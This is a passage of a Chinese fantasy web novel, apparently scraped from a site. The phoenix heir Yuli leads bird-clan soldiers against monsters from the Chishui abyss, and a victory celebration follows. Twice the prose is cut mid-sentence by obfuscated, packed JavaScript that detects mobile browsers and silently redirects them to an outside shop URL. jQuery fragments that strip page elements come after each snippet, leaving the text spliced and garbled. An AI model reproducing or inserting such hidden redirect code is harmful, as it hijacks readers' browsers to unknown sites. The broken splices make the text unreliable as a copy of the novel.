郁离走下鸾车,远远看着深渊的边际像是会呼吸一般地扩张,如同墨水洒在了湖面上,快速染黑了一大片湖面,且还有继续往外蔓延的趋势。
匆匆赶来的照晚换上一身铠甲,长发扎起马尾,也是英姿飒爽。此时她略有些紧张地讲解起营地中的情况,不时看一眼旁边抿唇不语的郁离——
妈呀,也没人跟她说过,这传闻中的小凤凰,竟然长得如此地、如此地……
果真是天上凤鸟,姿容绝艳的神仙人物。
照晚面色微红,往日军营里接触的众人都是一个比一个糙,还从未见过如此精致的神仙人物。
一时之间,照晚紧张得说话都有些结巴了。
郁离脚步一顿。
照晚话音一顿,也匆忙停住,“怎么了,女君,可是有什么不对——”
“照晚将军,”郁离看向深渊逸散出来的黑水,像是墨水蔓延开来,“这是正常的吗?”
顺着郁离的视线看去,照晚顿时瞪大了眼,发出尖锐爆鸣——
“敌袭!!深渊再次暴动了,快,快去通知赤霞宫驻军!”
“帝君领了多少人?快,传讯过去,通知他们后撤。”
“天青、天白,点一下咱们还有多少人可以用,不论生死,一定要将他们截住,不能让他们从后包夹帝君——”
照晚声音急促,连声高呼,此时也顾不得旁边还有个郁离,连下数道命令。
一道阵法从头顶落下,将整个营地都笼罩其中,照晚回头对着郁离道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627141|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“女君,您就呆在营地内,此处营地驻扎靠近赤霞宫,如果前线战事不利,会有人第一时间掩护你们撤回赤霞宫内。”
说完这句话,照晚提起长枪,“来,还能动的都抄起兵器,随我——”
“等等。”
一双温和却不容拒绝的手,按在照晚紧握的长枪上。
照晚一怔,回望郁离,面色有些为难:“女君,并非我等怠慢,实在是此刻有紧急军情,还请女君谅解……”
郁离摇头,“照晚将军,你身上还有伤吧?”
“这,已经不碍事了。”照晚心急如焚,恨不得此刻就飞到战场上去。
郁离刚来不久,却也清楚这处营地根本没有留下多少驻军,多数都是从战场上退下来的伤兵,由月宫统一负责照料。
“我带羽族士兵随将军一同去。”
没料到会听到这么一句话,照晚微讶地睁大眼,有些出乎意料。
往常也不是没有各家势力送士兵到前线战场,但是他们都知道,这只是他们迫于帝君手令的无奈之举。
他们送来的,不是族中的勋贵子弟,就是老弱病残幼,往往只是跟在大军后方混日子,捡点军功,混够时日就撤离。
她本以为,羽族这次来了这么多,不过是因为——
“但是……”照晚有些为难地看着郁离的细胳膊细腿。
眼前的凤山女君,看起来就是一副十分脆弱精致的模样,这要是在她们族中,还只是一个小崽子呢。
这能去战场?
实在是军情紧急,帝君已经带着人深入深渊界眼,如今界碑之外又开始暴动,妖鬼逆流形成包围之势,如果把里面的人一锅端了怎么办?
一着急,照晚险些又要说出那句话,要不女君您留下,让您带来的羽族精锐跟我一起走?
但是,郁离显然不是在询问她的意见。
随着话音落下,然后眼前一身金红长裙的清丽少女,仰天发出一声凤凰清啼,化作了凤凰原形,仰头飞向天际——
在她身后,受女君召唤的五千羽族士兵,顿时兴奋地发出尖啸长鸣——
火红的凤凰飞向天际,在它身后,无数猛禽振臂高飞,发出唳唳怪叫之声,遮天蔽日地往深渊边界去了。
“……”
照晚看得瞪大了眼。
一群驻守的赤水军看得叹为观止,随军的凤山长老也看呆了。
“女君——回来!!”
“哎哟!!!女君呐!!!”
19. 第十九章
赤水深渊,是大地的疤痕。
深渊之下封印镇杀了十方妖鬼,此处赤水河流倒悬,上压昆仑墟,下压赤水河。
以前任帝君生命之力形成的封印,原本如同厚重的枷锁套在一众不死不灭的妖鬼身上。
如今随着封印力量的减弱,外层妖兽挣脱枷锁,挣扎着要往外爬。
这些小股势力本不成气候。
直到一道絮絮的声响,在众鬼的耳畔响起,这声音如同魔魅,催动着在封印之中变得浑浑噩噩的妖鬼不知疲倦一般,一波一波地往外涌。
密集的鼓点,不知从何处而起。
操纵着无数妖兽如同浪潮一般从深渊之中涌出——
杀!
一波接一波黑色的潮水,从深渊之下涌出。
深渊外层早已在封印之中丧失记忆和理智的妖兽,在鼓点之中不知疲倦不知疼痛地往外涌。
深不见底的深渊之外,矗立着一座界碑。
最前线的赤水军就镇守在界碑之外,确保深渊之下的妖鬼不能踏出界碑一步。
如今,界碑光芒大盛,阻隔一波又一波的黑水浪潮,但又有源源不断地妖鬼从深渊之中涌出。
鲜血染红铠甲,有人看着扭曲的妖兽噌噌噌地从深渊之下往外窜,忍不住骂了一声。
“一个二个怎么都跟疯狗一样!”
“往年一个月暴动一回,这次昨日刚暴动完,今日又是什么情况!”
“草,帝君刚带着中军深入,就咱们这点人,若是截不住他们,帝君他们可就腹背受敌了。”
“……我靠,你们看那是什么!”
众人在赤水守了多日,早已神情疲惫,在帝君前来支援分走大部分压力之前,他们已经顶在前线多日了。
此时更是神情麻木。
他们麻木地持刀重复着劈砍的动作,此时听见天际出来的古怪叫声闻声抬头——
天际,群鸟飞来,体型硕大的怪鸟发出吱吱呀呀的唳唳怪声,羽翼张开,如同乌云笼罩一般遮天蔽日。
“额,这是……羽族?”
“他们也疯了?”
几人抬头,看着天空怪叫的群鸟,感觉他们的精神状态和从深渊里爬出来的妖鬼也差不太多了。
随着群鸟纷纷从天际俯冲落下,化作手执兵刃的士兵加入战斗之中,众人这才看清,天际还有一只金红的凤凰。
凤凰围绕着天际转了两圈,张开流光溢彩的羽翼,对天长鸣,凤凰清鸣顿时响彻天际。
原本已经在厮杀中筋疲力尽头脑混乱的众人,顿时感到灵台一清,像是被注入了力量一般。
“……是凤凰!”
“是凤山那个天生神脉的小凤凰!!听闻他从未离开过凤山,如今,竟然来赤水了!”
“嗷嗷嗷啊啊啊——!!杀啊啊啊!!!”
不知何时,赤水军中也受到感染一般,发出乌拉乌拉的怪叫,精神抖擞地冲进妖鬼潮中。
随着羽族士兵的加入,形势在转瞬之间逆转。
原本铺天盖地涌出的妖兽潮中,被撕出了倒行的一个口子,生生把掀起的黑潮浪头逼退。
如同墨水一般倾倒流出的黑潮,生生被杀退至界碑之内。
追来的长老望着天际盘旋的凤凰:“女君啊啊啊!”
还没来得及说话,一扭头,耳畔也传来一声尖锐的厉啸,枭羽对天长鸣,化作硕大的枭鸟原形加入了战斗:“唳唳!!嗷嗷嗷!”
“为女君效死!!”枭羽高举着手中利剑,冲进人群声嘶力竭地仰天高呼。
又引起一阵狂欢的怪叫,分布在浪潮之中的羽族士兵此起彼伏地发出回应。
“……”
坏了。
这种体内蠢蠢欲动复苏的战意是什么?
孔雀自恃不是这种容易被驱使的低等动物。
但是抿唇□□片刻之后,还是忍不住尖啸一声,甩尾冲进了战斗。
女君啊——!!
“为女君效死!!!”
至此,此一役,大获全胜。
妖鬼浪潮没有理智、不知疲倦,他们带着邪恶滔天的气势冲出来,又灰溜溜地被打得缩回了深渊。
原本声势浩大的妖兽潮,缩回深渊里的时候,只剩下了可怜的一丁点。
虽然他们没有理智,但还有本能的畏惧。
看着齐齐追到深渊外的怪人们,一边怪叫,一边击打着手中的兵刃,迷茫混沌的妖鬼也头一次感到了迷茫。
呜,为什么这群人形带翅膀的怪人,比他们更凶,更疯。
*
这一夜,凤山郁离的名字,响彻赤水河畔。
所有人都在高呼凤山女君的声名。
原来这就是古老传言中的凤凰啊。
好强。
好美。
郁离被簇拥在人群之中,他们带来军中最烈的美酒,献给这位传说中的凤凰。
“哎呀,我们女君还是幼崽呢,不能喝酒。”孔雀挡在前面。
此时他的脸上还泛着薄红,刚从战场上下来时,血液之中叫嚣的战意还未完全平息,一下来就着赤水守军献上的酒碗猛灌了两口。
照晚红着脸,害羞地端着玉碗递到郁离面前。
“你们的酒不行,小女君,看看我的,这是我从月宫偷出来的甜酿,甜的,不醉人的。”
她伤重,虽然提着银枪准备带人杀出去,但还没走到界碑就被月
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627142|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
殊抓了回来。
彼时,她只看见遮天蔽日的羽族士兵凶狠地冲了进去,在黑潮之中狠狠地杀出了一条道。
远远的,她听到天际的凤凰啼鸣,没忍住杵在原地叫了两声,兴奋地举着银枪在地上敲得梆梆响。
那个时候她才明白,凤山郁离,哪是什么凤山的宝贝蛋。
那是全四海的宝贝蛋啊!
郁离接过照晚递上的酒,看着她期待的目光,也忍不住尝了一口。
甜酒甘冽入喉,果然没有什么酒味,甜甜的,郁离看一眼长老们已经开始喝上了,没忍住又小口小口的多喝两口。
“谢谢照晚将军。”郁离脸颊也染上薄红,笑得弯了眼。
“不用不用,”照晚脸色更红,有些语无伦次,“女君,我的伤肯定好了,下次若你还去界碑,一定让我带路啊,他们都不行,他们没我细心,没我……没我会认路!”
“……”
众将沉默。
将军你……
不是,将军你到底在害羞什么?往日你训我们不是跟训孙子一样?
看着照晚一脸害羞的女儿样,众人默默别开眼。
也是,毕竟他们也不敢跟凤凰说话,只敢默默地敬酒。
一群赤水边军红着脸灌了两口酒。
从战线上换防下来,他们都忍不住猛灌两口酒,此时个个顶着猴屁股脸蛋,望着郁离傻笑。
太兴奋了。
好像浑身的血液都沸腾了一般。
他们在这赤水守了这么多年,还从来没有打过这么酣畅淋漓的一场仗。
现在他们恨不得小凤凰从此就留在赤水防线上才好。
凤凰,嘿嘿。
妈妈,我见到活的凤凰了。
寂渊回来时,看见的就是这么一幅景象。
赤水军营从来都是安静整肃,偶有对打的呼喝之声,从未像今日这般沸腾过。
而沸腾的中央,围着一只面色薄红的小凤凰。
郁离眸光水色倒映着营火,不知听到什么,弯着眼睛轻笑,小口小口喝着甜酒。
此时此刻,寂渊第一次看到这只小凤凰身上,有着如此纯然放松的情绪。
她好像第一次展翅飞向高空的雏鸟,此时情绪松懈,面上的笑容也带着自由的味道。
“寂渊……”
隔着人群,郁离一眼看见他,对着他举了举手中玉盏,笑眼弯弯。
“你回来啦。”
这一刻,周遭嘈杂好似寂寂无声,夜风拂过喧嚣,在血海深渊里洗出的一身漠然戾气,在此刻崩然瓦解。
“嗯。”
于是他抬步往前,一步步走近,一步步从寂冷黑夜走进明亮喧闹处。